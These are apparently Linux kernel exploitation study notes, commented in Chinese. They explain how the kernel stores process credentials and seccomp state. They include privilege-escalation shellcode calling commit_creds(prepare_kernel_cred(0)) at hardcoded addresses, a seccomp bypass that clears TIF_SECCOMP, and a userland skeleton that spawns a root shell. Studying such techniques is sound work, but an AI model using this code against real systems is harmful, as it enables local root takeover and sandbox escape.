copy_to_user(userspace_address, kernel_address, length);
copy_from_user(kernel_address, userspace_address, length);

struct task_struct {
    struct thread_info    	thread_info;

    /* -1 unrunnable, 0 runnable, >0 stopped: */
    volatile long         	state;

    void                  	*stack;
    atomic_t              	usage;
	// ...
    int                   	prio;
    int                   	static_prio;
    int                   	normal_prio;
    unsigned int          	rt_priority;

    struct sched_info     	sched_info;

    struct list_head      	tasks;

    pid_t                 	pid;
    pid_t                 	tgid;

    /* Process credentials: */

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu  *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu  *cred;
	// ...
};

struct cred {
    atomic_t    usage;
    kuid_t   	 uid;   	 /* real UID of the task */
    kgid_t   	 gid;   	 /* real GID of the task */
    kuid_t   	 suid;   	 /* saved UID of the task */
    kgid_t   	 sgid;   	 /* saved GID of the task */
    kuid_t   	 euid;   	 /* effective UID of the task */
    kgid_t   	 egid;   	 /* effective GID of the task */
    kuid_t   	 fsuid;   	 /* UID for VFS ops */
    kgid_t   	 fsgid;   	 /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
	// ...
};

//准备一个cred结构体，当输入为0时，它返回一个root权限的cred！
struct cred * prepare_kernel_cred(struct task_struct *reference_task_struct)

//将获得的root cred提交，进程就会获得root权限
commit_creds(struct cred *)

//即，只要运行 commit_creds(prepare_kernel_cred(0));就能获得root权限！
//当然，内核还维护了一个初始结构体`init_cred`,即commit_creds(init_cred);也能获得root权限！

//回顾 ## 2.1 内核标识进程权限的结构体 章节中，task_struct有一个thread_info结构体
struct task_struct {
    struct thread_info    	thread_info;
}

struct thread_info {
    unsigned long flags;	/* low level flags */
    u32 status;		/* thread synchronous flags */
};

/*
	 * Handle seccomp.  regs->ip must be the original value.
	 * See seccomp_send_sigsys and Documentation/userspace-api/seccomp_filter.rst.
	 *
	 * We could optimize the seccomp disabled case, but performance
	 * here doesn't matter.
	 */
	regs->orig_ax = syscall_nr;
	regs->ax = -ENOSYS;
	tmp = secure_computing();
	if ((!tmp && regs->orig_ax != syscall_nr) || regs->ip != address) {
		warn_bad_vsyscall(KERN_DEBUG, regs,
				  "seccomp tried to change syscall nr or ip");
		do_exit(SIGSYS);
	}

static inline int secure_computing(void)
{
	if (unlikely(test_thread_flag(TIF_SECCOMP)))//关键函数，如果TIF_SECCOMP没有被设置，说明没有seccomp机制
		return  __secure_computing(NULL);
	return 0;
}
int __secure_computing(const struct seccomp_data *sd)
{
	// lots of stuff, then...

	this_syscall = sd ? sd->nr : syscall_get_nr(current, task_pt_regs(current));

	switch (mode) {
		case SECCOMP_MODE_STRICT:
			__secure_computing_strict(this_syscall);  /* may call do_exit */
			return 0;
		case SECCOMP_MODE_FILTER:
			return __seccomp_filter(this_syscall, sd, false);
		default:
			BUG();
	}
}

current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)
//The kernel points the segment register gs to the current task struct.
//所以gs寄存器指向current task struct

// simple.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("GPL");
void * test_get_thread_info_flags_addr(void){
    return &current->thread_info.flags;
}
unsigned long test_get_seccomp_flag(void){
    return TIF_SECCOMP;
}

void * test_seccomp_escape(void){
    clear_thread_flag(TIF_SECCOMP);
}

__attribute__((naked,noinline)) void privilege_escalation_kernel_shellcode(){
    __asm__ (
        "mov rbx, 0xffffffff810895e0;" //prepare_kernel_cred_addr
        "mov rdi, 0;"
        "call rbx;"     //prepare_kernel_cred(0)
        "mov rdi, rax;" 
        "mov rbx, 0xffffffff810892c0;" //commit_creds_addr
        "call rbx;"
        "nop;"
        "ret;"
    );
}
// gcc -fcf-protection=none -masm=intel  xxx.c -o xxx
// -fcf-protection=none 可以去除函数开头的endbr64指令，__attribute__((naked,noinline)) 会让编译器忽略给该函数添加栈帧操作

// gcc -fcf-protection=none -masm=intel -static xxx.c -o xxx
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>  // define open, O_RDONLY, O_WRONLY, O_CREAT 
#include <unistd.h> // read, write
#include <sys/ioctl.h> // ioctl

__attribute__((naked, noinline)) void privilege_escalation_kernel_shellcode(){
    __asm__ (
        "mov rbx, 0xffffffff810895e0;" //prepare_kernel_cred_addr
        "mov rdi, 0;"
        "call rbx;"     //prepare_kernel_cred(0)
        "mov rdi, rax;" 
        "mov rbx, 0xffffffff810892c0;" //commit_creds_addr
        "call rbx;"
        "nop;"
        "ret;"
    );
}

void get_root(){
    if(getuid()!=0){
        printf("failed to get root!\n");
        exit(0);
    }
    printf("get root success! execve shell....\n");
    system("/bin/sh");
    exit(0); //exit normally
}